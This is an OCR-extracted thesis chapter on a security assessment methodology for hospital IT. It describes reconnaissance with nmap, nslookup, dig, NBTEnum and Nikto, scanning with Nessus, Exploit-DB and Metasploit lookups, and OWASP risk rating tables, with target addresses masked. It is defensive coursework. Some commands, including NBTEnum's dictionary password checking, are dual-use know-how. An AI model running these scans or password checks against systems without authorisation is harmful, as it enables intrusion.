ASSESSMENT Information J[ ) J [ Scanning/ ]
‘ [ Gathering Footprint ] Testing
r - ™ - r S _ __I

h 4

VERIFY [ Analyze & J
Gaining Access

o [ Check Full-Disclosure/ Exploitation J

4

Estimating Estimatin

Likelihood g Impact R Document
- "[ R J[ all Finding

REPORT
|| Determine Risk ||

Figure 3.2 Security Assessment Process

Process 1 (Planning) is planning and determining the rules,
scope and objectives of security assessment processes by dividing into the following
two processes: 1) Defining Objectives and 2) Setting the Scope and Planning.

Process 2 (Assessment) is collecting an information system
and testing for the vulnerability of vulnerability assessment by dividing into the
following two processes: 1) Information and Footprint Gathering and 2) Scanning and
Testing.
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Process 3 (Verification) is testing and confirmation of
vulnerabilities by dividing into the following two processes: 1) Analyze and Gain
Access and 2) Check for Full Disclosure/Exploitation.

Process 4 (Reporting) is collecting and summarizing all
information on security assessment processes by dividing into the following two

phases: 1) IT Risk Evaluation and 2) Documentation and Recommendations.

3.2 Analysis Phase

3.2.1 Selecting a Process is the step for choosing a key process for
developing prototype functions to support security assessment for Hospital IT Security
including process planning with assessment, verification and reporting processes.

1) Planning involves strategizing and determining the rules, scope and
objectives of a security assessment process by dividing into the following two steps:
Defining Objectives and Setting the Scope/Planning.

1.1 Defining Objectives/Setting the Scope involves planning and setting
the scope of a security assessment process by dividing into the following two steps: a)
Interview/Questions b) Identification of Assets/Systems:

a. Interview/Questions is a step involving study and collection of data and
information by searching the Internet for information about hospitals and using the
questionnaire forms shown in Tables 3.1 and 3.2.

Table 3.1 Google Advance Search Operation

[cache:] Displays the web pages stored in the Google cache

[link:] Lists web pages that have links to the specified web page

[related:] | Lists web pages that are similar to a specified web page

[info:] Presents some information that Google has about a particular web page
[site:] Restricts the results to those websites in the given domain

[allintitle:] | Restricts the results to those websites with all of the search keywords in the tit
[intitle:] Restricts the results to documents containing the search keyword in the title
[allinurl:] | Restricts the results to those with all of the search keywords in the URL
[inurl:] Restricts the results to documents containing the search keyword in the URL
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Table 3.2 Example Questionnaire Form

No | Questions Yes | No | Comments
1 Do you have any security-related policies and standards?

If so, do you want us to review them?

What is the network layout (segments, DMZs, IDS, IPS, etc.)?

EES R S ]

If the client organization requires analysis of its Internet

presence?

If the organization requires pen testing of individual hosts?

What security controls are deployed across the organization?

If the organization requires assessment of wireless networks?

e =1 @ Wn

If the organization deploys a mobile workforce? If so, if the

mobile security assessment is required?

9 What are the web application and services offered by the

client?

b. ldentification of Assets/Systems is the step accomplished by using the

target selection form in Table 3.3.

Table 3.3 Select Target Form

Impact Factor Rating Impact

No Select | Asset/Systems Target | g0 Reputation Neh- Rating Comments

Privacy
damage damage | compliance | yiolation (Average)

! O
2 O
3 O
4 O
5 O

1. Selection of a target for the vulnerability assessment process

2. Asset/Systems Target identifies assets/systems

3. Impact Factor - Value from Estimating Impact Factor Rating
Follow Table 3.4
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Table 3.4 OWASP Impact Rating
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Rating [0 1 2 3 4 5 6 7 8 9
Less than the Minor effect Significant
Financial
d cost to fix the| on annual effect on Bankruptcy
w € vulnerability profit annual profit
5 S sihmesiol ) IS DU ot e _ gt it I A
E Reputation Minimal Lni;;f Loss of Brand
('S
o damage damage accout s goodwill damage
£ Non- Minor Clear High profile
E compliance violation violation violation
Privacy One Hundreds [Thousands of| Millions of
violation individual of people people people

4. Impact Rating - The value of the average Impact Factor Rating

5. Comments

2) Assessment is an information system assessment of objectives for

identifying the vulnerability occurrence in the information system, including

Information/Footprint Gathering and Scanning/Testing.
2.1 Information/Footprint Gathering is the step involving the collection of

necessary data on the security assessment process by dividing into the following two

steps: a) Information gathering b) Footprint gathering:
a. Information gathering is the step involving a review of documents and

collection of data on information systems by using the Data Collection Target Form in

Table 3.5.

Table 3.5 Collection Data Target Form

No

Name Service

Server

IP Address

Other

EX

HIS (Hospital Information
Systems)

AppServ

OO NLXXX

| | | b=
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b. Footprints are discovered to find information about a domain name,
server name, IP address, network map, system and service by using the reconnaissance
tools in Table 3.6.

Table 3.6 Tools for Information Gathering

Tools /Command Details

Displays protocol statistics and current TCP/IP connections using NBT
(NetBIOS over TCP/IP).

Displays userlists, machine lists, sharelists, namelists, group and

1.Nbtstat Command

2.NBTEngs member lists, password and LSA policy information.
3.Nslookup Querying the Domain Name System (DNS) to obtain domain
Command name or IP address mapping or for any other specific DNS record.

4.Dig (domain

information groper) Querying Domain Name System (DNS) name servers.

5.Whois Displays domain names, registrars and name servers.

Discover hosts and services on a computer network, Enumerating the
open ports on target hosts. Determining the operating system and
hardware characteristics of network devices.

6.NMAP (Network
Mapper)

Checks for server configuration items such as the presence of multiple
7.Nikto index files, HTTP server options, and will attempt to identify installed
web servers and software.

e Nbtstat [33] is an MS-DOS Command of displayed lists and remote
name tables, NBT remote names, Cache look-ups, NetBIOS names and session tables,

etc.

Table 3.7 Nbtstat commands

-a (adapter status) Lists the remote machine's name table given its name

-A (Adapter status) Lists the remote machine's name table given its IP address.

-C (cache) Lists NBT's cache of remote [machine] names and their IP addresses
-n (names) Lists local NetBIOS names.

-r (resolved) Lists names resolved by broadcast and via WINS

-R (Reload) Purges and reloads the remote cache name table

-S (Sessions) Lists sessions table with the destination IP addresses

-5 (sessions) Lists sessions table converting destination IP addresses to computer

NETBIOS names
-RR (Release Refresh) Sends Name Release packets to WINS and then, starts Refresh

Examples:
nbtstat -A XXX XXX XXX. XXX
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e NBTEnum [34] is a utility used to display NetBIOS information

including account lock-out thresholds, local groups and users, global groups and users,

shares, etc.

Table 3.8 NBTEnum commands

=-a

-5

(version) Displays version information.
(help) Displays this screen.

(query) Enumerates NetBIOS information on the specified host or range of IP addresses.
If a username and password is not specified the utility is run under the context of the null
user. If a username and password is specified the utility is run under the context of the
given username.

(attack) Enumerates NetB1OS information on the specified host or range of IP addresses
and also performs password checking. If a dictionary file is not specified the utility will
check each user account for blank passwords and passwords the same as the username in
lower case. If a dictionary file is specified the utility will check each user account for
blank passwords and passwords the same as the username in lower case and all
passwords specified in the dictionary file.

(smart attack) Enumerates NetBIOS information on the specified host or range of IP
addresses and performs password checking only if the account lockout threshold on the
current host is set to 0. If a dictionary file is not specified the utility will check each user
account for blank passwords and passwords the same as the username in lower case. If a
dictionary file is specified the utility will check each user account for blank passwords
and passwords the same as the username in lower case and all passwords specified in the
dictionary file.

Examples:

nbtenum -g XXX XXX XXX. XXX test "
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e Nslookup [35] is a program used to display the domain names of

servers, various hosts and lists of hosts in a domain as in the syntax below.

Table 3.9 Nslookup commands

host [server] Look up information for host using the current default server, or server if specified. If
host is an Internet address and the query type is A or PTR, the name of the host is
returned. If host is a name and does not have a trailing period, the search list is used to
quality the name.
To look up a host not in the current domain, append a period to the name.

server domain, Change the default server to demain; Iserver uses the initial server to look up

lserver domain information about domain, while server uses the current default server. If an
authoritative answer can't be found, the names of servers that might have the answer
are returned.

exit Exits the program.

setkeyword|[=value] This command is used to change state information that affects the lookups. Valid
keywords are:

all Prints the current values of the frequently used options to set.
Information about the current default server and host is also printed.

class=value Change the query class to one of:

IN: the Internet class

CH: the Chaos class

HS: the Hesiod class

ANY: wildcard

The class specifies the protocol group of the information.
{Default = IN; abbreviation = el)

[no]debug Tum on or off the display of the full response packet and any
intermediate response packets when searching.
(Default = nodebug; abbreviation = [no|deb)

[no]d2 Tum debugging mode on or off. This displays more about
what nslookup is doing.
{Default = nod2)

domain=name Sets the search list to name.

[no]search If the lookup request contains at least one period but doesn't end with a
trailing period, append the domain names in the domain search list to
the request until an answer 1s received.

(Default = search)

port=value Change the default TCP/UDP name server port to value.
(Default = 53; abbreviation = po)

querytype=value, | Change the type of the information query.

type=value (Default = A; abbreviations = g, ty)

[no]recurse Tell the name server to query other servers if it does not have the
information.

{Default = recurse; abbreviation = [no]ree)

retry=number Set the number of retries to number.

timeout=number | Change the initial timeout interval for waiting for a reply
to number seconds.

[no]ve Always use a virtual circuit when sending requests to the server.
(Default = nove)

[no]fail Try the next nameserver if a nameserver responds with SERVFAIL or a
referral (nofail) or terminate query (fail) on such a response.

{Default = nofail)
Examples:

nslookup XXX XXX XXX. XXX
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e Dig [36] is a program used to display domain name servers as in the

syntax below.

Table 3.10 Dig commands

-b address

The -b option sets the source IP address of the query to address. This must be a valid address
on one of the host's network interfaces or "0.0.0.0" or "::". An optional port may be specified
by appending "#<port="

-¢ class

The default query class (IN for Internet) is overridden by the -¢ option. class is any valid
class, such as HS for Hesiod records or CH for CHAOSNET records.

-f filename

The -f option makes dig operate in batch mode by reading a list of lookup requests to process
from the file filename. The file contains a number of queries, one per line. Each entry in the
file should be organized in the same way they would be presented as queries to dig using the
command-line interface.

-p port#

If a non-standard port number is to be queried, the -p option is used. port# is the port number
that dig will send its queries instead of the standard DNS port number 53. This option would
be used to test a name server that has been configured to listen for queries on a non-standard
port number.

The -4 option forces dig to only use 1Pv4 query transport.

-6

The -6 option forces dig to only use [Pv6 query transport.

-t fype

The -t option sets the query type to fype. It can be any valid query type which is supported in
BINDY. The default query type "A", unless the -x option is supplied to indicate a reverse
lookup. A zone transfer can be requested by specifying aAXFR. When an incremental zone
transfer (IXFR) is required, type is set toixfr=N. The incremental zone transfer will contain
the changes made to the zone since the serial number in the zone's SOA record was N.

-x addr

Reverse lookups (mapping addresses to names) are simplified by the -x option.addr is an IPv4
address in dotted-decimal notation, or a colon-delimited IPv6 address. When this option is
used, there is no need to provide the name, class, and type arguments. dig automatically
performs a lookup for a name like11.12.13.10.in-addr.arpa and sets the query type and class
to PTR and INrespectively. By default, IPv6 addresses are looked up using nibble format
under the IP6.ARPA domain. To use the older RFC1886 method using the [P6.INT domain
specify the -i option. Bit string labels (RFC2874) are now experimental and are not attempted.

-k filename

To sign the DNS queries sent by dig and their responses using transaction signatures (TSIG),
specify a TSIG key file using the -k option.

v/ hmac:[n
ame:key

You can also specity the TSIG key itself on the command line using the -yoption; name is the
name of the TSIG key and key is the actual key. The key is a base-64 encoded string, typically
generated by dnssec-keygen. Caution should be taken when using the -y option on multi-user
systems as the key can be visible in the output from ps or in the shell's history file. When
using TSIG authentication with dig, the name server that is queried needs to know the key and
algorithm that is being used. In BIND, this is done by providing appropriate key and server
statements in named.conf.

Examples:

dig XXXXX.com
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e Whois [37] is an Internet service used to find information about a
domain name or IP address such as the name, address and phone number of the

administrative officer as well as billing information, etc.

.net

Web Hosting Plans

Figure 3.3 whois.net website

e NMAP [38] is a utility used to find information about a host discovery,
port scan, OS fingerprinting, etc. as in the syntax below.

Host discovery

# nmap -sP XXX XXX.XXX.0/24

Port scan TCP SYN scan

# nmap -sS XXX XXX XXX XXX

OS fingerprinting
# nmap -0 XXX XXX XXX XXX

e Nikto [31] is an Internet service used to find potentially dangerous
files/programs and CGI scripts, default files and programs, outdated versions, version-
specific problems with server and software miscounting, etc. as in the syntax below.

Scan the 1P XXX XXX XXX. XXX on TCP port 80:

# perl nikto.pl —h XXX XXX XXX XXX

Scan the 1P XXX XXX XXX. XXX on TCP port 443:

# perl nikto.pl —h XXX XXX XXX XXX —p 443
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2.2 Scanning and Testing is the step of vulnerability assessment for

identifying the vulnerabilities or weaknesses of a system and reporting vulnerability

issues by using tools for vulnerability such as the following scanners: 1) Nessus and

2) Nikto.

a. Nessus [30] is an active vulnerability scanner for scanning, discovery,

analysis, checking and detecting the vulnerabilities or weaknesses of a system as

shown in Figure 3.3.

| ) Nessus / Login

Nessus / Login - Iceweasel
File Edit View History Bookmarks Tools Help

K|

% (a 127.0.0.1

" v €] B~ al

|@Must Visitedv JlOffensive Securi ty " KaliLinux “e Kali Docs EMExploit-DB W Aircrac| k-ng

O Nessus,

Remember Me

Figure 3.4 Nessus Scan

b. Nikto[31] is an open source web scanner that tests the weaknesses of a

web server including potentially dangerous files, CGI scripts, default files and

programs with outdated versions, software misconfigurations, injections, XSS and

denial of service etc. as shown in Figure 3.4.

=# nikto -h
Option host requires an argument
-config+ Use this config file
-Display+ Turn on/off display outputs
-dbcheck check database and other key files for syntax errors
-Format+ save file (-o) format
-Help Extended help information
-host+ target host
-id+ Host authentication to use, format is id:pass or id:pass:realm
-list-plugins List all available plugins
-output+ Write output to this file
-nossl Disables using SSL
-no4o4 Disables 404 checks
-Plugins+ List of plugins to run (default: ALL)
-port+ Port to use (default 80)
-root+ Prepend root value to all requests, format is /directory
-ssl Force ssl mode on port
-Tuning+ Scan tuning
-timeout+ Timeout for requests (default 10 seconds)
-update Update databases and plugins from CIRT.net
-Version Print plugin and database versions
-vhost+ Virtual host (for Host header)
+ requires a value
Note: This is the short help output. Use -H for full help text.

Figure 3.5 Command Nikto




Surapol Ruaysungnoen Research Methodology / 36

3) Verification involves using information from identified vulnerabilities
detected in the assessment process for examining and confirming the direction of
server attacks including Analysis/Gaining Access, and Checking Full-Disclosure or
Exploitation

3.1 Analysis/Gaining Access is the step for using information by sampling
vulnerabilities from the assessment process for examining and confirming the
direction of server attacks.

3.2 Checking Full-Disclosure or Exploitation is the step of confirming the
vulnerability of web applications/critical hosts by surveying the full-disclosure of

websites or using tools for vulnerability attacks as shown in Figures 3.6 and 3.7.

« C | [} sedists.org/fulldisclosure/ fave

0 | ‘ ﬂ Do you want to protect your business network from

hackers and vulnerabilities, without doing any extra work?
SECLISTS.ORG

SusHomind ontanuara

Nmap Security
Scanner

* Ref Guide

+ Install Guide
+ Download

e Changelog
+ Book

+ Docs SecSearch

Full Disclosure Mailing List
SCurrent Month | EIRSS Feed | BdabouList | E8ANLists

A public, vendor-nevtral forwm for detailed discussion of vulnerabilitics and exploitation techniques. as el as fools. papers, news, and events of interest to the commuaity. It higher
traffic than other lists. but the relaxed atmosphere of this quirky List provides some comic relief and certain industry gossip. More importantly. fresh vulnerabilities sometimes hit this list
‘many hours or days before they pass through the Bugtraq moderation queue

Security Lists ! )
LR PEREES List Archives
« Nmap Dev
« Bugtraq

o iy Jan Feb Mar Apr May Jun Jul Aug Sep Oct Nov Dec

2014 194 | 273 | 434 | 325 | 213 | 174 | 167 | 89 | 115 | 135 103 | 27
2013 282 | 162 | 290 | 263 | 227 | 259 | 277 | 303 | 187 | 294 222 | 224
2012 611 | 477 | 390 | 382 | 323 | 428 | 394 393 210 277 2
Al 2011 500 687 439 561 572 563 367 393 370 995 466 51l
« Password audit

2010 637 | 502 | 64 453 408 631 417 445 414 523 342 696
2000 979 | 380 | 465 318 | 282 | 292 550 455 421 339 386 502
2008 615 496 | 600 | 821 681 403 391 539 639 531 739 634
2007 593 620 | 573 744 355 661 | 662 530 709 935 582 | 641
2006 992 740 | 1865 865 789 1058 770 771 578 678 545 493
2005 939 676 950 666 G678 437 766 1078 $90 677 1065 1531

* Wireless
« Exploitation

+ Packet crafters
« More

Site News

Figure 3.6 full-disclosure website[39]

Rl [T =AU ttps: /twitter.com/exploitd

EXPLOIT
DRATABRSE

< nia ninuagnisaaunau mﬁﬂflﬂﬂhﬂ’i‘—‘m{ﬂ‘ﬂﬁim
Exploit Database o inA3 e
' [ Exploit Database 21n Exploit Database
f*f“‘c Ean.com, B [remote] - Windows Kerberos - Elevation of
SEEeh e e Privilege (MS14-068): Windows Kerberos -

Elevation of Privilege (MS14-068)
bit.ly/1zwKgVx

Exploit Database db - 55 N ;
[webapps] - PBBoard CMS 3.0.1 - SQL Injection: PBBoard CMS 3.0.1 - aullguuag Molan - s
SQL Injection bit ly/1z2Jwed

2

Figure 3.7 Exploit DB tool[40]
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4) A report is a summary of all information obtained by collecting data and
information from Pierce System Testing the vulnerability after the end of testing. The
report will include the identification of wvulnerabilities, risk assessment and
suggestions. Also included are IT Risk Evaluation and Document/Recommendations.

41 The |IT Risk Evaluation step determines or identifies

risk/vulnerabilities and estimates likelihood and impact. It also determines risk levels.

=
Information Identify Gather Information (Threat,
Gathering Security Risk Vulnerability, Attack ,and Impact)
=
Information | Estimating Estimating | || petermine [
Evaluation Likelihood Impact Risk J
,,,,,,,,,,,,,,,, . hl 4 Fixing
Recommend &
Bocinent Control Recommend & Result
\

Figure 3.8 ITS Risk Assessment Methodology

Process 1 (Information Gathering) is Data Collection and
Determines or Identifies IT Risks/Vulnerabilities

Process 2 (Information Evaluation) is estimating likelihood
and impact; it also determines risk levels.

Process 3 (Recommendations and Documents) is reporting
summary overviews and risk evaluation process improvement.

4.2 Document/Recommendations is the step where a report summarizes
the results of operations. The evaluation of the test results on problems and
vulnerabilities detected. It also offers a view of all technical data collected on levels of
risk existing in websites/web applications and host security as well as assessment
during the test. The conclusion also includes recommendations for improvement,

while close vulnerabilities are detected.
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This procedure is the step of determining a function and detailed design of

prototype tools to support security assessment following the step of selecting

processes such as importing, evaluating and examining/confirming as shown in Table

3.1.

Table 3.11 Example define functions

No Main Functions

Sub-Function

descriptions

1 Import is functions of
bringing the vulnerability
scan result, analyze data into

risk evaluate data

1.1 XML Upload

functions of import xml result from

nessus vulnerability scan tool.

1.2 CSV Template
Upload

functions of import csv template
from insert vulnerability data into

csv template.

1.3 Manual
Add/Edit Data

functions of insert and modify

vulnerability data in prototype tool.

2 Evaluate is functions of
analyze, determine. normalize
risk data and calculate impact
value , likelthood value, risk

level, and risk rating.

2.1 analyze risk

functions of analyze, determine,

normalize risk data.

2.2 evaluate risk

functions of calculate impact value ,
likelihood value, risk level, and risk

rating.

2.3 risk report

functions of summary and reporting

risk rating .

3 Examining/Confirm is
functions of check
vulnerability reference or
mailing list full-disclosure or

simulation exploit testing.

3.1 check full-

disclosure

functions of mapping vulnerabilities
that discovered and show reference or

mailing list full-disclosure.

3.2 simulation

exploit

functions of simulation exploit

testing sample.

1) Import is a function for supporting data imported from the results of

Vulnerability Scan Tools as shown in Figures 3.9 and 3.10.

<ReportItem port="445" svc name="cifs" protocol="tcp" severity="3" pluginID="49174"
pluginName="Opera &lt; 10.62 Path Subversion Arbitrary DLL Injection Code
Execution” pluginFamily="Windows">

<exploitability_ease>Exploits are available</exploitability_ease>

<vuln publication date>2010/08/24</vuln publication date>

<cvss temporal vector>CVSS2#E:F/RL:W/RC:ND</cvss temporal vector>

<solution>Upgrade to Opera 10.62 or later.</solution>

<cvss temporal score>8.4</cvss temporal score>
<risk factor>High</risk factor>
<description>The version of Opera installed on the remote host is earlier than 10.62.

Such versions insecurely look in their current

working directory when resolving DLL dependencies, such as for

sapos; dwmapi . d11&apos;

[..] </description>

<plugin_publication_date>2010/09/10</plugin_publication_date>

<cvss vector>CVSSZ#AV:N/AC:M/Au:N/C:C/I:C/A:C</cvss vector>

<synopsis>The remote host contains a web browser that allows arbitrary code

execution.</synopsis>

<patch publication date>2010/09/09</patch publication date>

<see also>http://www.opera.com/docs/changelogs/windows/1062/</see also>
<see also>http://www.opera.com/support/kb/view/870/</see also>

<exploit available>true</exploit available>
<plugin_modification_date>2010/12/23</plugin_modification_date>
<cvss_base_score>9.3</cvss_base_score>

<bid>42663</bid>

<xref>0SVDB:67498</xref>

<xref>Secunia:41083</xref>
<xref>EDB-ID:14732</xref>
<plugin_output>

Figure 3.9 Nessus result
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nikto -host XX.OO00LXKOL KX -vhost waw, XOOCO0K XXX -p 80 443

+ Target IP: LKL DO KK

+ Target Hostname: IP.targethostname.com
+ Target Port: 80

+ Virtual Host: wiwl L JOOOC0OM . arg.

+ Start Time: 201@-X%-X% 13:92:35

ver: Microsoft-I1S/6.9
+ Mo CGI Directories found (use '-C all" to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST
+ Microsoft-IIS/6.8 appears to be aJtdated (4.8 for NT 4, 5.8 for Win2k, current is at leas
+ Retrieved X-Powered-By header: ASP.NET
+ GET /: Retrieved )(P:nere -By header: PHP/4.4.7
+ GET ,-: Uncommen header 'x-pingback’ faund, with contents: http:/www, OO0, XK/ xmlrpc.p
+ Retrieved microsoftoffi cewsbserver header: 5.8 _Pub
+ Uncommon header 'microscftoffi cewebserver' found, with contents: 5.8_Pub
%.php?=PHPBBBSF240-3C92-11d3-A3A9-4C7808(100@@: PHP reveals potentially
: This mlg"\t be 11terest1ng
SE.txt: License fi le found mz } identify site software.
+ OSVDE-389 er’ php: -(rrlrpc php was found.
+ /wp-conte gins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' versi
+ ;‘ eadme.html: This WordPress fi le reveals the installed version.
+ OSVDB-3892: ,-hcerse txt: License fi le found may identify ﬂte software.
+ OSVDE-389 JLICENSE.TXT: License fi le found may identify site software.
+ 3823 items creckeﬂ. 14 item(s) reported on remote host
+ End Time: 2010-83-11 13:47:19 (2684 seconds)
+ 1 host(s) tested

Figure 3.10 Nikto result

2. Evaluation is the step involving risk rating by using the information
evaluation phase in IT risk assessment methodology divided into the following three
processes: a) Data Preparation; b) Determining Impact/Likelihood and c) Risk
Determination as shown in Figure 3.11.

L Create&maps Other Impact Factor
Data Preparation testing result (BIA)

____________________________ ¢ T Cyma—— e _ g e T e T

[ Determine Impact& Likelihood ]

Normalize

Determine

New I pact (AVERAG
Impact/Likelihood e mpag ( 5)

Business

et [ Impact

{Likelihood)
_____________________________________ V"_"_"_"""_"_""""""""""""
Risk Determine ; q
(Likelihoodand Tompact Levels - Low, Medinm, Highy | 2| kLevel Matrix
Risk Determine ‘I!

Risk Rating

Figure 3.11 IT Risk Evaluation Process

a) Data Preparation is the process of creating and mapping test results in a
valid document format.

b) Determining Impact/Likelihood is the process of determining,
normalizing, and recalculating likelihood and impact values by using OWASP Risk

Determination as shown in Table 3.12.
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Table 3.12 OWASP Risk Determine

Likelihood and Impact Levels
0to<3 LOW

3 to <6 MEDIUM
6109 HIGH

c) Risk Determination is the process of defining risk rating by using the
OWASP Risk Level Matrix as shown in Tables 3.13 and 3.14.

Table 3.13 OWASP Risk Level Matrix

Overall Risk Severity
Impact High Medium
Medium Low Medium
Low Note Low Medium
Low Medium High
Likelihood

Table 3.14 OWASP Risk Level Definition

Risk Level Definition

Website / Web applications / Host computer may be attacked by
intruders. And control information system completely. If the
vulnerability assessment Or vulnerabilities that did not make the
correction.
Website / Web applications / Host computer may be attacked by
intruders. And control information system If the vulnerability
assessment Or vulnerabilities that did not make the correction.

Website / Web applications / Host computer may be the attackers
MEDIUM stole information from the target device to take advantage. Or
modification sensitive information

Website / Web applications / Host computer provides information
that is useful to attacks from intruders.

LOW
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3. Examination/Confirmation is the step of testing and checking full
disclosure or exploitation testing samples. This step is divided into the following two
processes: 1) checking full-disclosure, and 2) exploit testing samples

3.1 Checking full disclosure is the step of confirming the
vulnerability of web applications/critical hosts by surveying full-disclosure websites
such as the following samples:

http://seclists.org/fulldisclosure/
http://nmap.org/mailman/listinfo/fulldisclosure
https://twitter.com/SecLists
http://lists.openwall.net/full-disclosure/
http://archives.neohapsis.com/
http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/
http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/
http://www.mail-archive.com/full-disclosure@Ilists.netsys.com/
http://www.mail-archive.com/full-disclosure@Ilists.grok.org.uk/
https://marc.info/

https://isc.sans.edu/diaryarchive.html
http://www.governmentsecurity.org/archives/fulldisclosure/
http://www.attrition.org/pipermail/vim/
http://osdir.com/ml/security.full-disclosure/
http://1.security-full-disclosure.securetalk.info/

3.2 Exploit testing samples is the step of confirming the
vulnerability of web applications/critical hosts by using the Metasploit.
Metasploit [32] is a tool for penetration testing and using exploit
code. Modules can be selected and viewed with use commands by specifying the

module's name by an Msfconsole interface as shown in Figure 3.11.

root@kall: # msfoonsole

—— 1265 loits - 695 auxliary - 202

203 eXp
= ==[ 330 payloads = 37 en s = B nop:

Figure 3.12 msfconsole interface


http://seclists.org/fulldisclosure/
http://nmap.org/mailman/listinfo/fulldisclosure
https://twitter.com/SecLists
http://lists.openwall.net/full-disclosure/
http://archives.neohapsis.com/
http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/
http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/
http://www.mail-archive.com/full-disclosure@lists.netsys.com/
http://www.mail-archive.com/full-disclosure@lists.grok.org.uk/
https://marc.info/
https://isc.sans.edu/diaryarchive.html
http://www.governmentsecurity.org/archives/fulldisclosure/
http://www.attrition.org/pipermail/vim/
http://osdir.com/ml/security.full-disclosure/
http://1.security-full-disclosure.securetalk.info/
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3.3 Development Phase

This procedure is the step of developing prototype tools to support security
assessment processes divided into the following two processes: 1) Build/Implement
Demo and 2) Test and Feedback.

Build/Implement
Demo

Figure 3.13 develop process

3.3.1 Build/Implement Demo is the step of creating prototypes on defined
functions and integrating the programs divided into the following two processes: 1)
Creating a database and 2) Coding.

1. Creating a database is the step for designing and creating table data on
security assessment prototype tools such as risk evaluation data or vulnerability
verification data.

a) Risk evaluation data is a table about risk issues, including impact
factors, likelihood factors, impact and likelihood levels, risk levels and risk rating as
shown in Tables 3.15 and 3.16.

Table 3.15 OWASP Likelihood Factor

Rating 0 1 2 3 4 5 6 7 8 9
Skill level N/A No N/A Some Advanced N/A  [Network and | N/A N/A Security
skills skills gskills skills
g Motive N/A Low/No N/A N/A P N/A N/A N/A N/A High reward
B roward
é" Opportunity No known N/A N/A N/A limited access | N/A N/A N/A N/A Full access
] access
_g size | wA | NA | Developers WA users |[partners Authenticate| NFA|  NA | | Anonymous
== /System dusers Internect users
administrators

[Ease of N/A Practically NN/A Difficult NN/A N/A N/A Easy| N/A Automated

discovery impossible tools available
g [Ease of exploit N/A Theoretical N/A Difficult N/A N/A N/A Easy)| N/A Automated
o tools available
=
% Awarcness | WA | Unknown | wA | wA | Hidden | N/A | Obvieus |[NA| WA | Public

knowledge

=~ intrusion | NA | Active NA logged and NA NA N/A  |N/A| logged | Notlogged

d d in reviewed without

application review
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Table 3.16 OWASP Impact Factor

Rating 0 1 2 3 4 5 6 7 8 9
[Loss of N/A NA Minimal N/A N/A N/A Minimal critical N/A N/A| Extensive
confidentiality Inon-sensitive data disclosed / critical data
data Extensive non- disclosed, all
disclosed sensitive data data
disclosed disclosed
£
e
E [Loss of N/A| Minimal NA Minimal N/A [Extensive slightly] N/A Extensive (N/A| All data
= (integrity slightly seriously corrupt data scriously totally
g. corrupt data corrupt data corrupt data corrupt
E [Loss of N/A| Minimal NA NA N/A Minimal primary N/A Extensive |N/A| All services
= [|availability secondary services primary completely
'E services Interrupted/ services lost
§ interrupted Extensive interrupted
> secondary
services
interrupted
[Loss of N/A Fully NA N/A N/A N/A N/A Possibly |N/A| Completely
accountability traceable traceable anonymous
« [Financial N/A| Less than the N/A Minor effect N/A N/A N/A Significant | N/A| Bankruptcy
5 \damage cost to fix the on annual effecton
E vulnerability profit annual profit
E [Reputation N/A| Minimal N/A N/A Loss of major| Loss of goodwill N/A N/A N/A| Brand
2 4 a <. d
% [Non- NA NA Minor NA NA Clear violation NA High profile N/A| NA
2 compliance violation violation
'§ [Privacy N/A NA NA One N/A Hundreds of NA Thousands |N/A| Millions of
R Wiolation individual people of people people

b) Vulnerability verification data is a table about references, full disclosure
and exploit codes including mailing lists, exploit databases and Metasploit modules as
shown in Tables 3.17 - 3.19.

Table 3.17 Sample Full — Disclosure Data

No Full-disclosure CVE

1 FULLDISC:20020717 TheServer cleartext password sillyness. CVE-2002-2389

2 FULLDISC:20020719 Vulnerability found: Adobe Acrobat eBook Reader CVE-2002-1016
and Content Server
3 FULLDISC:20020720 Netscape Communicator META Refresh Denial of CVE-2002-2308
Service
FULLDISC:20020720 PHP Resource Exhaustion Denial of Service CVE-2002-2309

FULLDISC:20020724 REFRESH: EUDORA MAIL 5.1.1 CVE-2002-2313

4
5
6 FULLDISC:20020808 Cross-Site Scripting Issues in Faleon Web Server CVE-2002-2318
7
8

FULLDISC:20020829 RPM verification CVE-2002-2204
FULLDISC:20020903 Check Point statement on use of IKE Aggressive CVE-2002-1623
Mode
9 FULLDISC:20020917 Trillian .74 and below, ident flaw. CVE-2002-2390
10 FULLDISC:20020919 iDEFENSE OSF1/Tru64 3.x vuln clarification CVE-2000-1031 CVE-2002-1604 CVE-

2002-1605 CVE-2002-1614 CVE-2002-
1616 CVE-2002-1617
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Table 3.18 Sample Exploit DB Data
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EDBID | File Description Date Author Type Link
1 platforms/windows/ MS Windows WebDAV - | 23/3/2003 kralor remote http:/fwww.exploit-
remote/1.¢ (ntdILdIl) Remote Exploit db.com/exploits/1/
2 platforms/windows/ MS Windows WebDAV - 24/3/2003 RoMaNSoFt remote http:/fwww.exploit=
remote/2.c Remote PoC Exploit db.com/exploits/2/
3 platforms/linux/ Linux Kernel 2.2.x - 2.4.x 30/3/2003 Wajeiech local http:/fwww.exploit-
local/3.c ptrace/kmod Local Root Purczynski db.com/exploits/3/
Exploit
4 platforms/solaris/ Sun SUNWIldap Library 1/4/2003 Andi local http:/fwww.exploit-
local/d.c Hostname - Buffer db.com/exploits/4/
Overflow Exploit
5 platforms/windows/ MS Windows RPC 3/4/2003 Marcin remote http:/fwww.exploit-
remote/5.¢ Locator Service - Remote Wolak db.com/exploits/5/
Exploit
6 platforms/php/ WordPress <= 2.0.2 25/5/2006 | rgod webapps | http:/fwww.exploit-
webapps/6.php {cache) Remote Shell db.com/exploits/6/
Injection Exploit
7 platforms/linux/ Samba 2.2.x - Remote T/4/2003 H D Moore remote http:/fwww.exploit-
remote/7.pl Root Buffer Overflow db.com/exploits/7/
Exploit
8 platforms/linux/ SETI@home Clients - 8/4/2003 zillion remote http:/fwww.exploit-
remote/8.¢ Buffer Overflow Exploit db.com/exploits/8/
9 platforms/windows/ Apache HTTP Server 2.x 9/4/2003 Matthew dos http:/fwww.exploit=
dos/9.c Memory Leak Exploit Murphy db.com/exploits/9/
10 platforms/linux/ Samba 2.2.8 - Remote 10/4/2003 ¢SDee remote http:/fwww.exploit=
remote/10.¢ Root Exploit db.com/exploits/ 10/
Table 3.19 Sample metasploit module Data
No | VulalD Refname File
1 CVE-2009-3699 aix/rpe_cmsd_opcode2] fusr/share/metasploit-
